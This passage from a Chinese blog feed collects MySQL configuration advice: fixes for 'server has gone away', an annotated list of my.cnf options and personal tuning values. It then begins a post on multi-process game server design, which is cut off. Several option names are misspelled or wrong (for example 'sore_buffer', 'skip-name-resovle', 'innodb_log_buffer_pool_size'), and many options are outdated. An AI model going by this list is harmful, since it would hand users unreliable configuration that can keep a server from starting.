#指定用于索引的缓冲区大小，增加它可得到更好的索引处理性能。     对于内存在4GB左右的服务器该参数可设置为256M或384M。     注意：该参数值设置的过大反而会是服务器整体效率降低！<br />
key_buffer_size = 256M</p>
<p>MySQL server has gone away 的解决办法</p>
<p>有时候使用MySQL(和PHP搭配之最佳组合)命令行导入备份时会出现“MySQL(和PHP搭配之最佳组合) server has gone away”<a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" class="st_tag internal_tag" rel="tag" title="标签 错误 下的日志">错误</a>，这可能是因为其中一些insert语句的大小超出了MySQL(和PHP搭配之最佳组合)目前设置的缓冲区大小。</p>
<p>解决办法</p>
<p>1.使用php(做为现在的主流开发语言)myadmin 备份MySQL(和PHP搭配之最佳组合)的时候，只选择</p>
<p>数据:<br />
     完整插入<br />
     扩展插入</p>
<p>扩展插入不要勾选</p>
<p>2.使用 MySQL(和PHP搭配之最佳组合)dump 备份的时候不添加 &#8211;opt  </p>
<p>这样就只会生成完整的insert语句，导入时候不会出错。</p>
<p>3.修改my.ini</p>
<p>打开my.ini 找到[MySQL(和PHP搭配之最佳组合)d]这一行，下面添加</p>
<p>[MySQL(和PHP搭配之最佳组合)d]</p>
<p>#扩大缓冲区<br />
max_allowed_packet=32M  <br />
保存后，重启MySQL(和PHP搭配之最佳组合)</p>
<div>
<p>my.cnf配置(转)</p>
<p>mysqld程序&#8211;目录和文件<br />
basedir = path 使用给定目录作为根目录(安装目录)。<br />
character-sets-dir = path 给出存放着字符集的目录。<br />
datadir = path 从给定目录读取数据库文件。<br />
pid-file = filename 为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结束mysqld进程。<br />
socket = filename 为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅适用于UNIX/Linux系统; 默认设置一般<br />
是/var/lib/mysql/mysql.sock文件)。<br />
在Windows环境下，如果MySQL客户与服务器是通过命名管道进行通信的，&#8211;sock选项给出的将是该命名管道的名字(默认设置是MySQL)。 lower_case_table_name = 1/0 新目录和数据表的名字是否只允许使用小写字母; 这个选项在Windows环境下的默认设置是1(只允许使用小写字母)。<br />
mysqld程序&#8211;语言设置<br />
character-sets-server = name 新数据库或数据表的默认字符集。为了与MySQL的早期版本保持兼容，这个字符集也可以用&#8211;default-character-set选项给出; 但这个选项已经显得有点过时了。<br />
collation-server = name 新数据库或数据表的默认排序方式。<br />
lanuage = name 用指定的语言显示出错信息。<br />
mysqld程序&#8211;通信、网络、信息安全<br />
enable-named-pipes 允许Windows 2000/XP环境下的客户和服务器使用命名管道(named pipe)进行通信。这个命名管道的默认名字是MySQL，但可以用&#8211;socket选项来改变。<br />
local-infile [=0] 允许/禁止使用LOAD DATA LOCAL语句来处理本地文件。<br />
myisam-recover [=opt1, opt2, ...] 在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4种:DEFAULT、BACKUP、QUICK和FORCE; 它们与myisamchk程序的同名选项作用相同。<br />
old-passwords 使用MySQL 3.23和4.0版本中的老算法来加密mysql数据库里的密码(默认使用MySQL 4.1版本开始引入的新加密算法)。 port = n 为MySQL程序指定一个TCP/IP通信端口(通常是3306端口)。<br />
safe-user-create 只有在mysql.user数据库表上拥有INSERT权限的用户才能使用GRANT命令; 这是一种双保险机制(此用户还必须具备GRANT权限才能执行GRANT命令)。<br />
shared-memory 允许使用内存(shared memory)进行通信(仅适用于Windows)。<br />
shared-memory-base-name = name 给共享内存块起一个名字(默认的名字是MySQL)。<br />
skip-grant-tables 不使用mysql数据库里的信息来进行访问控制(警告:这将允许用户任何用户去修改任何数据库)。<br />
skip-host-cache 不使用高速缓存区来存放主机名和IP地址的对应关系。<br />
skip-name-resovle 不把IP地址解析为主机名; 与访问控制(mysql.user数据表)有关的检查全部通过IP地址行进。<br />
skip-networking 只允许通过一个套接字文件(Unix/Linux系统)或通过命名管道(Windows系统)进行本地连接，不允许ICP/IP连接; 这提高了安全性，但阻断了来自网络的外部连接和所有的Java客户程序(Java客户即使在本地连接里也使用TCP/IP)。<br />
user = name mysqld程序在启动后将在给定UNIX/Linux账户下执行; mysqld必须从root账户启动才能在启动后切换到另一个账户下执行;<br />
mysqld_safe脚本将默认使用&#8211;user=mysql选项来启动mysqld程序。<br />
mysqld程序&#8211;内存管理、优化、查询缓存区<br />
bulk_insert_buffer_size = n 为一次插入多条新记录的INSERT命令分配的缓存区长度(默认设置是8M)。<br />
key_buffer_size = n 用来存放索引区块的RMA值(默认设置是8M)。<br />
join_buffer_size = n 在参加JOIN操作的数据列没有索引时为JOIN操作分配的缓存区长度(默认设置是128K)。<br />
max_heap_table_size = n HEAP数据表的最大长度(默认设置是16M); 超过这个长度的HEAP数据表将被存入一个临时文件而不是驻留在内存里。<br />
max_connections = n MySQL服务器同时处理的数据库连接的最大数量(默认设置是100)。<br />
query_cache_limit = n 允许临时存放在查询缓存区里的查询结果的最大长度(默认设置是1M)。<br />
query_cache_size = n 查询缓存区的最大长度(默认设置是0，不开辟查询缓存区)。<br />
query_cache_type = 0/1/2 查询缓存区的工作模式:0, 禁用查询缓存区; 1，启用查询缓存区(默认设置); 2，”按需分配”模式，只响应SELECT SQL_CACHE命令。<br />
read_buffer_size = n 为从数据表顺序读取数据的读操作保留的缓存区的长度(默认设置是128KB); 这个选项的设置值在必要时可以用SQL命令SET SESSION read_buffer_size = n命令加以改变。<br />
read_rnd_buffer_size = n 类似于read_buffer_size选项，但针对的是按某种特定顺序(比如使用了ORDER BY子句的查询)输出的查询结果(默认设置是256K)。<br />
sore_buffer = n 为排序操作分配的缓存区的长度(默认设置是2M); 如果这个缓存区太小，则必须创建一个临时文件来进行排序。<br />
table_cache = n 同时打开的数据表的数量(默认设置是64)。<br />
tmp_table_size = n 临时HEAP数据表的最大长度(默认设置是32M); 超过这个长度的临时数据表将被转换为MyISAM数据表并存入一个临时文件。<br />
mysqld程序&#8211;日志<br />
log [= file] 把所有的连接以及所有的SQL命令记入日志(通用查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname.log文件作为这种日志文件(hostname是服务器的主机名)。<br />
log-slow-queries [= file] 把执行用时超过long_query_time变量值的查询命令记入日志(慢查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname-slow.log文件作为这种日志文件(hostname是服务器主机名)。<br />
long_query_time = n 慢查询的执行用时上限(默认设置是10s)。<br />
long_queries_not_using_indexs 把慢查询以及执行时没有使用索引的查询命令全都记入日志(其余同&#8211;log-slow-queries选项)。<br />
log-bin [= filename] 把对数据进行修改的所有SQL命令(也就是INSERT、UPDATE和DELETE命令)以二进制格式记入日志(二进制变更日志，binary update log)。这种日志的文件名是filename.n或默认的hostname.n，其中n是一个6位数字的整数(日志文件按顺序编号)。<br />
log-bin-index = filename 二进制日志功能的索引文件名。在默认情况下，这个索引文件与二进制日志文件的名字相同，但后缀名是.index而不是.nnnnnn。<br />
max_binlog_size = n 二进制日志文件的最大长度(默认设置是1GB)。在前一个二进制日志文件里的信息量超过这个最大长度之前，MySQL服务器会自动提供一个新的二进制日志文件接续上。<br />
binlog-do-db = dbname 只把给定数据库里的变化情况记入二进制日志文件，其他数据库里的变化情况不记载。如果需要记载多个数据库里的变化情况，就必须在配置文件使用多个本选项来设置，每个数据库一行。<br />
binlog-ignore-db = dbname 不把给定数据库里的变化情况记入二进制日志文件。<br />
sync_binlog = n 每经过n次日志写操作就把日志文件写入硬盘一次(对日志信息进行一次同步)。n=1是最安全的做法，但效率最低。默认设置是n=0，意思是由操作系统来负责二进制日志文件的同步工作。<br />
log-update [= file] 记载出错情况的日志文件名(出错日志)。这种日志功能无法禁用。如果没有给出file参数，MySQL会使用hostname.err作为种日志文件的名字。<br />
mysqld程序&#8211;镜像(主控镜像服务器)<br />
server-id = n 给服务器分配一个独一无二的ID编号; n的取值范围是1~2的32次方启用二进制日志功能。<br />
log-bin = name 启用二进制日志功能。这种日志的文件名是filename.n或默认的hostname.n，其中的n是一个6位数字的整数(日志文件顺序编号)。<br />
binlog-do/ignore-db = dbname 只把给定数据库里的变化情况记入二进制日志文件/不把给定的数据库里的变化记入二进制日志文件。<br />
mysqld程序&#8211;镜像(从属镜像服务器)<br />
server-id = n 给服务器分配一个唯一的ID编号<br />
log-slave-updates 启用从属服务器上的日志功能，使这台计算机可以用来构成一个镜像链(A-&gt;B-&gt;C)。<br />
master-host = hostname 主控服务器的主机名或IP地址。如果从属服务器上存在mater.info文件(镜像关系定义文件)，它将忽略此选项。<br />
master-user = replicusername 从属服务器用来连接主控服务器的用户名。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-password = passwd 从属服务器用来连接主控服务器的密码。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-port = n 从属服务器用来连接主控服务器的TCP/IP端口(默认设置是3306端口)。<br />
master-connect-retry = n 如果与主控服务器的连接没有成功，则等待n秒(s)后再进行管理方式(默认设置是60s)。如果从属服务器存在mater.info文件，它将忽略此选项。<br />
master-ssl-xxx = xxx 对主、从服务器之间的SSL通信进行配置。<br />
read-only = 0/1 0: 允许从属服务器独立地执行SQL命令(默认设置); 1: 从属服务器只能执行来自主控服务器的SQL命令。<br />
read-log-purge = 0/1 1: 把处理完的SQL命令立刻从中继日志文件里删除(默认设置); 0: 不把处理完的SQL命令立刻从中继日志文件里删除。<br />
replicate-do-table = dbname.tablename 与&#8211;replicate-do-table选项的含义和用法相同，但数据库和数据库表名字里允许出现通配符”%” (例如: test%.%&#8211;对名字以”test”开头的所有数据库里的所以数据库表进行镜像处理)。<br />
replicate-do-db = name 只对这个数据库进行镜像处理。<br />
replicate-ignore-table = dbname.tablename 不对这个数据表进行镜像处理。<br />
replicate-wild-ignore-table = dbn.tablen 不对这些数据表进行镜像处理。<br />
replicate-ignore-db = dbname 不对这个数据库进行镜像处理。<br />
replicate-rewrite-db = db1name &gt; db2name 把主控数据库上的db1name数据库镜像处理为从属服务器上的db2name数据库。<br />
report-host = hostname 从属服务器的主机名; 这项信息只与SHOW SLAVE HOSTS命令有关&#8211;主控服务器可以用这条命令生成一份从属服务器的名单。<br />
slave-compressed-protocol = 1 主、从服务器使用压缩格式进行通信&#8211;如果它们都支持这么做的话。<br />
slave-skip-errors = n1, n2, &#8230;或all 即使发生出错代码为n1、n2等的错误，镜像处理工作也继续进行(即不管发生什么错误，镜像处理工作也继续进行)。<br />
如果配置得当，从属服务器不应该在执行SQL命令时发生错误(在主控服务器上执行出错的SQL命令不会被发送到从属服务器上做镜像处理); 如果不使用<br />
slave-skip-errors选项，从属服务器上的镜像工作就可能国为发生错误而中断，中断后需要有人工参与才能继续进行。<br />
mysqld&#8211;InnoDB&#8211;基本设置、表空间文件<br />
skip-innodb 不加载InnoDB数据表驱动程序&#8211;如果用不着InnoDB数据表，可以用这个选项节省一些内存。<br />
innodb-file-per-table 为每一个新数据表创建一个表空间文件而不是把数据表都集中保存在中央表空间里(后者是默认设置)。该选项始见于MySQL 4.1。<br />
innodb-open-file = n InnoDB数据表驱动程序最多可以同时打开的文件数(默认设置是300)。如果使用了innodb-file-per-table选项并且需要同时打开很多数据表的话，这个数字很可能需要加大。<br />
innodb_data_home_dir = p InnoDB主目录，所有与InnoDB数据表有关的目录或文件路径都相对于这个路径。在默认的情况下，这个主目录就是MySQL的数据目录。<br />
innodb_data_file_path = ts 用来容纳InnoDB为数据表的表空间: 可能涉及一个以上的文件; 每一个表空间文件的最大长度都必须以字节(B)、兆字节(MB)或千兆字节(GB)为单位给出; 表空间文件的名字必须以分号隔开; 最后一个表空间文件还可以带一个autoextend属性和一个最大长度(max:n)。<br />
例如，ibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空间文件ibdata1的最大长度是1GB，ibdata2的最大长度也是1G，但允许它扩充到2GB。<br />
除文件名外，还可以用硬盘分区的设置名来定义表空间，此时必须给表空间的最大初始长度值加上newraw关键字做后缀，给表空间的最大扩充长度值加上raw关键字做后缀(例如/dev/hdb1:20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默认设置是ibdata1:10M:autoextend。<br />
innodb_autoextend_increment = n 带有autoextend属性的表空间文件每次加大多少兆字节(默认设置是8MB)。这个属性不涉及具体的数据表文件，那些文件的增大速度相对是比较小的。<br />
innodb_lock_wait_timeout = n 如果某个事务在等待n秒(s)后还没有获得所需要的资源，就使用ROLLBACK命令放弃这个事务。这项设置对于发现和处理未能被InnoDB数据表驱动程序识别出来的死锁条件有着重要的意义。这个选项的默认设置是50s。<br />
innodb_fast_shutdown 0/1 是否以最快的速度关闭InnoDB，默认设置是1，意思是不把缓存在INSERT缓存区的数据写入数据表，那些数据将在MySQL服务器下次启动时再写入(这么做没有什么风险，因为INSERT缓存区是表空间的一个组成部分，数据不会丢失)。把这个选项设置为0反面危险，因为在计算机关闭时，InnoDB驱动程序很可能没有足够的时间完成它的数据同步工作，操作系统也许会在它完成数据同步工作之前强行结束InnoDB，而这会导致数据不完整。<br />
mysqld程序&#8211;InnoDB&#8211;日志<br />
innodb_log_group_home_dir = p 用来存放InnoDB日志文件的目录路径(如ib_logfile0、ib_logfile1等)。在默认的情况下，InnoDB驱动程序将使用MySQL数据目录作为自己保存日志文件的位置。<br />
innodb_log_files_in_group = n 使用多少个日志文件(默认设置是2)。InnoDB数据表驱动程序将以轮转方式依次填写这些文件; 当所有的日志文件都写满以后，之后的日志信息将写入第一个日志文件的最大长度(默认设置是5MB)。这个长度必须以MB(兆字节)或GB(千兆字节)为单位进行设置。<br />
innodb_flush_log_at_trx_commit = 0/1/2 这个选项决定着什么时候把日志信息写入日志文件以及什么时候把这些文件物理地写(术语称为”同步”)到硬盘上。设置值0的意思是每隔一秒写一次日志并进行同步，这可以减少硬盘写操作次数，但可能造成数据丢失; 设置值1(设置设置)的意思是在每执行完一条COMMIT命令就写一次日志并进行同步，这可以防止数据丢失，但硬盘写操作可能会很频繁; 设置值2是一般折衷的办法，即每执行完一条COMMIT命令写一次日志，每隔一秒进行一次同步。<br />
innodb_flush_method = x InnoDB日志文件的同步办法(仅适用于UNIX/Linux系统)。这个选项的可取值有两种: fdatasync，用fsync()函数进行同步; O_DSYNC，用O_SYNC()函数进行同步。<br />
innodb_log_archive = 1 启用InnoDB驱动程序的archive(档案)日志功能，把日志信息写入ib_arch_log_n文件。启用这种日志功能在InnoDB与MySQL一起使用时没有多大意义(启用MySQL服务器的二进制日志功能就足够用了)。<br />
mysqld程序&#8211;InnoDB&#8211;缓存区的设置和优化<br />
innodb_log_buffer_pool_size = n 为InnoDB数据表及其索引而保留的RAM内存量(默认设置是8MB)。这个参数对速度有着相当大的影响，如果计算机上只运行有MySQL/InnoDB数据库服务器，就应该把全部内存的80%用于这个用途。<br />
innodb_log_buffer_size = n 事务日志文件写操作缓存区的最大长度(默认设置是1MB)。<br />
innodb_additional_men_pool_size = n 为用于内部管理的各种数据结构分配的缓存区最大长度(默认设置是1MB)。<br />
innodb_file_io_threads = n I/O操作(硬盘写操作)的最大线程个数(默认设置是4)。<br />
innodb_thread_concurrency = n InnoDB驱动程序能够同时使用的最大线程个数(默认设置是8)。<br />
mysqld程序&#8211;其它选项</p>
<p>bind-address = ipaddr MySQL服务器的IP地址。如果MySQL服务器所在的计算机有多个IP地址，这个选项将非常重要。<br />
default-storage-engine = type 新数据表的默认数据表类型(默认设置是MyISAM)。这项设置还可以通过&#8211;default-table-type选项来设置。<br />
default-timezone = name 为MySQL服务器设置一个地理时区(如果它与本地计算机的地理时区不一样)。<br />
ft_min_word_len = n 全文索引的最小单词长度工。这个选项的默认设置是4，意思是在创建全文索引时不考虑那些由3个或更少的字符构建单词。<br />
Max-allowed-packet = n 客户与服务器之间交换的数据包的最大长度，这个数字至少应该大于客户程序将要处理的最大BLOB块的长度。这个选项的默认设置是1MB。<br />
Sql-mode = model1, mode2, &#8230; MySQL将运行在哪一种SQL模式下。这个选项的作用是让MySQL与其他的数据库系统保持最大程度的兼容。这个选项的可取值包括ansi、db2、oracle、no_zero_date、pipes_as_concat。<br />
注意：如果在配置文件里给出的某个选项是mysqld无法识别的(如，因为犯了一个愚蠢的打字错误)，MySQL服务器将不启动。</p>
<div>
<p>MySQL的系统变量以调优性能</p>
<p>(1)、back_log：<br />
要求 MySQL 能有的连接数量。当主要MySQL线程在一个很短时间内得到非常多的连接请求，这就起作用，然后主线程花些时间(尽管很短)检查连接并且启动一个新线程。<br />
back_log值指出在MySQL暂时停止回答新请求之前的短时间内多少个请求可以被存在堆栈中。只有如果期望在一个短时间内有很多连接，你需要增加它，换句话说，这值对到来的TCP/IP连接的侦听队列的大小。你的操作系统在这个队列大小上有它自己的限制。 试图设定back_log高于你的操作系统的限制将是无效的。<br />
当你观察你的主机进程列表，发现大量 264084 | unauthenticated user | xxx.xxx.xxx.xxx | NULL | Connect | NULL | login | NULL 的待连接进程时，就要加大 back_log 的值了。默认数值是50，我把它改为500。</p>
<p>(2)、interactive_timeout：<br />
服务器在关闭它前在一个交互连接上等待行动的秒数。一个交互的客户被定义为对 mysql_real_connect()使用 CLIENT_INTERACTIVE 选项的客户。 默认数值是28800，我把它改为7200。</p>
<p>(3)、key_buffer_size：<br />
索引块是缓冲的并且被所有的线程共享。key_buffer_size是用于索引块的缓冲区大小，增加它可得到更好处理的索引(对所有读和多重写)，到你能负担得起那样多。如果你使它太大，系统将开始换页并且真的变慢了。默认数值是8388600(8M)，我的MySQL主机有2GB内存，所以我把它改为 402649088(400MB)。</p>
<p>(4)、max_connections：<br />
允许的同时客户的数量。增加该值增加 mysqld 要求的文件描述符的数量。这个数字应该增加，否则，你将经常看到 Too many connections 错误。 默认数值是100，我把它改为1024 。</p>
<p>(5)、record_buffer：<br />
每个进行一个顺序扫描的线程为其扫描的每张表分配这个大小的一个缓冲区。如果你做很多顺序扫描，你可能想要增加该值。默认数值是131072(128K)，我把它改为16773120 (16M)</p>
<p>(6)、sort_buffer：<br />
每个需要进行排序的线程分配该大小的一个缓冲区。增加这值加速ORDER BY或GROUP BY操作。默认数值是2097144(2M)，我把它改为 16777208 (16M)。</p>
<p>(7)、table_cache：<br />
为所有线程打开表的数量。增加该值能增加mysqld要求的文件描述符的数量。MySQL对每个唯一打开的表需要2个文件描述符。默认数值是64，我把它改为512。</p>
<p>(8)、thread_cache_size：<br />
可以复用的保存在中的线程的数量。如果有，新的线程从缓存中取得，当断开连接的时候如果有空间，客户的线置在缓存中。如果有很多新的线程，为了提高性能可以这个变量值。通过比较 Connections 和 Threads_created 状态的变量，可以看到这个变量的作用。我把它设置为 80。</p>
<p>(10)、wait_timeout：<br />
服务器在关闭它之前在一个连接上等待行动的秒数。 默认数值是28800，我把它改为7200。</p>
<p>注：参数的调整可以通过修改 /etc/my.cnf 文件并重启 MySQL 实现。这是一个比较谨慎的工作，上面的结果也仅仅是我的一些看法，你可以根据你自己主机的硬件情况（特别是内存大小）进一步修改。</p>
<div>
<p>MySQL 的max_allowed_packet保护导致MySQL Server 不断的启停</p>
<p>那到底是什么原因造成MySQL死掉又启来呢？</p>
<p>如果MySQL能够正常自动启动，那访问这个页面对MySQL的影响是数据库系统可以自动识别出来的，出于一种自动保护的原因，它才会shutdown MySQL.</p>
<p>基于以上的原因，开始查找资料，看都有在哪些情况下MySQL会自动shutdown后又立即startup的。<br />
  <br />
首先想到的是buffer(read,sort,temp etc.)不足，那么修改配置文件，把它们都增大一倍后重启MySQL，还是同样的会死掉。</p>
<p>接下来想到的就是可能请求的连接包过大，检查配置文件，其中并没有max_allowed_packet声明。在配置文件中，设置max_allowed_packet=2M后，重新启动MySQL，问题解决！</p>
<p>呵呵，看来mysql的配置文件中还有很多内容可挖的哟，以后得多多注意了。</p>
</div>
</div>
</div>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/session" title="session" rel="tag">session</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%90%AB%E4%B9%89" title="含义" rel="tag">含义</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%BC%95%E5%85%A5" title="引入" rel="tag">引入</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%9C%80%E5%BF%AB" title="最快" rel="tag">最快</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%95%9C%E5%83%8F" title="镜像" rel="tag">镜像</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>多进程的游戏服务器设计</title>
		<link>http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html</link>
		<comments>http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:24:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[分离]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">?p=302</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>目前，我们的游戏服务器组是按多进程的方式设计的。强调多进程，是想提另外一点，我们每个进程上是单线程的。所以，我们在设计中，系统的复杂点在于进程间如何交换数据；而不需要考虑线程间的数据锁问题。如果肆意的做进程间通讯，在进程数量不断增加后，会使系统混乱不可控。经过分析后，我决定做如下的限制：如果一个进程需要和多个服务器做双向通讯，那么这个进程不能处理复杂的逻辑，而只是过滤和转发数据用。即，这样的一个进程 S ，只会把进程 A 发过来的数据转发到 B ；或把进程 B 发过来的数据转发到 A 。或者从一端发过来的数据，经过简单的协议分析后，可以分发到不同的地方。例如，把客户端发过来的数据包中的聊天信息分离处理，交到聊天进程处理。有逻辑处理的进程上的数据流一定是单向的，它可以从多个数据源读取数据，但是处理后一定反馈到另外的地方，而不需要和数据源做逻辑上的交互。每个进程尽可能的保持单个输入点，或是单个输出点。所有费时的操作均发到独立的进程，以队列方式处理。按功能和场景划分进程，单一服务和单一场景中不再分离出多个进程做负载均衡。性能问题上，我是这样考虑的：我们应该充分利用多核的优势，这会是日后的发展方向。让每个进程要么处理大流量小计算量的工作；要么处理小流量大计算量的工作。这样多个进程放在一台物理机器上可以更加充分的利用机器的资源。单线程多进程的设计，个人认为更能发挥多核的优势。这是因为没有了锁，每个线程都可以以最大吞吐量工作。增加的负担只是进程间的数据复制，在网游这种复杂逻辑的系统中，一般不会比逻辑计算更早成为瓶颈。如果担心，单线程没有利用多核计算的优势，不妨考虑以下的例子：计算 a/b+c/d+e/f ，如果我们在一个进程中开三条线程利用三个核同时计算 a/b c/d e/f 固然不错，但它增加了程序设计的复杂度。而换个思路，做成三个进程，第一个只算 a/b 把结果交给第二个进程去算 c/d 于之的和，再交个第三个进程算 e/f 。对于单次运算来算，虽然成本增加了。它需要做额外的进程间通讯复制中间结果。但，如果我们有大量连续的这样的计算要做，整体的吞吐量却增加了。因为在算某次的 a/b 的时候，前一次的 c/d 